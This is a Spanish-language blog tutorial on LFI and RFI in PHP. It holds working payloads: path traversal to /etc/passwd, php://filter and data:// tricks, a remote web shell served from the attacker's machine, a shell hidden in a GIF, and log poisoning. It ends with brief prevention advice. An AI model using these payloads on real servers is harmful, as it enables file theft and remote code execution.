Inclusión de Archivos: LFI y RFI

1. Introducción

La inclusión de archivos es una vulnerabilidad crítica que permite a atacantes leer archivos locales o remotos en un servidor. En este post, exploraremos cómo funcionan estos ataques, técnicas avanzadas para explotarlos y cómo proteger tus sistemas. ¡Vamos al grano! 🔍


2. ¿Qué es la Inclusión de Archivos?

Cuando una aplicación web carga dinámicamente archivos basados en entradas del usuario (como parámetros GET/POST), un atacante puede manipular estas entradas para incluir archivos no autorizados. Existen dos tipos principales:

  • LFI (Local File Inclusion): Incluir archivos locales del servidor (ej: /etc/passwd).
  • RFI (Remote File Inclusion): Cargar archivos desde servidores remotos (ej: un script malicioso alojado en tu máquina).

Ejemplo Básico de LFI

Imagina una aplicación PHP que carga páginas usando el parámetro language:

if (isset($_GET['language'])) {  
    include($_GET['language']);  
}  

Un atacante podría explotarlo así:

http://ejemplo.com/index.php?language=/etc/passwd  

¡Boom! El servidor muestra el contenido de /etc/passwd. 💥


3. Técnicas Avanzadas de LFI

Recorrido de Directorios (Directory Traversal)

Si la aplicación añade un prefijo (ej: include("lenguajes/" . $_GET['language']);), usa ../ para escapar:

http://ejemplo.com/index.php?language=../../../../etc/passwd  

Bypass de Filtros

  • Codificación URL: Si filtran ../, usa %2e%2e%2f:
language=%2e%2e%2f%2e%2e%2fetc%2fpasswd
  • Truncamiento de Rutas: En versiones antiguas de PHP, cadenas largas truncaban la extensión:
language=non_existing_directory/../../../etc/passwd/./././...[2048 veces]

Lectura de Código Fuente con Filtros PHP

Usa php://filter para leer archivos PHP en Base64:

http://ejemplo.com/index.php?language=php://filter/read=convert.base64-encode/resource=config.php  

Decodifica la salida para ver el código fuente. 🕵️


4. Ejecución Remota de Código (RCE)

Wrappers PHP Peligrosos

  • data://: Ejecuta código Base64:
language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ &cmd=id
  • php://input: Envía código vía POST:
curl -X POST --data "<?php system('id'); ?>" "http://ejemplo.com/index.php?language=php://input"
  • expect://: Ejecuta comandos directamente (si está instalado):
language=expect://id

5. RFI: Incluyendo Archivos Remotos

Si allow_url_include está habilitado, carga un script malicioso desde tu servidor:

# En tu máquina:  
echo '<?php system($_GET["cmd"]); ?>' > shell.php  
python3 -m http.server 8080  

# Explotación:  
http://ejemplo.com/index.php?language=http://tudirección:8080/shell.php&cmd=id  

6. Combinando LFI con Carga de Archivos

Sube una «imagen» con código PHP oculto:

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif  

Luego, inclúyela:

http://ejemplo.com/index.php?language=./uploads/shell.gif&cmd=id  

7. Envenenamiento de Logs

Contamina archivos de registro (ej: access.log) con PHP:

curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://ejemplo.com  

Luego, incluye el log:

http://ejemplo.com/index.php?language=/var/log/apache2/access.log&cmd=id  

8. Herramientas de Automatización

  • FFuf: Para fuzzear parámetros y rutas:
ffuf -w diccionario.txt -u "http://ejemplo.com/index.php?FUZZ=valor"
  • LFI-Suite: Escanea y explota vulnerabilidades automáticamente.

9. Prevención: ¡No Seas Víctima!

  • Validación Estricta: Usa listas blancas para rutas permitidas.
  • Deshabilita Funciones Peligrosas: Configura php.ini para desactivar allow_url_include y allow_url_fopen.
  • Sanitiza Entradas: Reemplaza ../ y usa funciones como basename().
  • WAF: Implementa un firewall de aplicaciones web para bloquear payloads maliciosos.

10. Conclusión

La inclusión de archivos es una puerta trasera crítica. Dominar estas técnicas te ayudará a proteger tus aplicaciones y entender cómo piensan los atacantes. ¡Experimenta en entornos controlados y nunca dejes de aprender! 🛡️

Comparte esta Publicación en Redes Sociales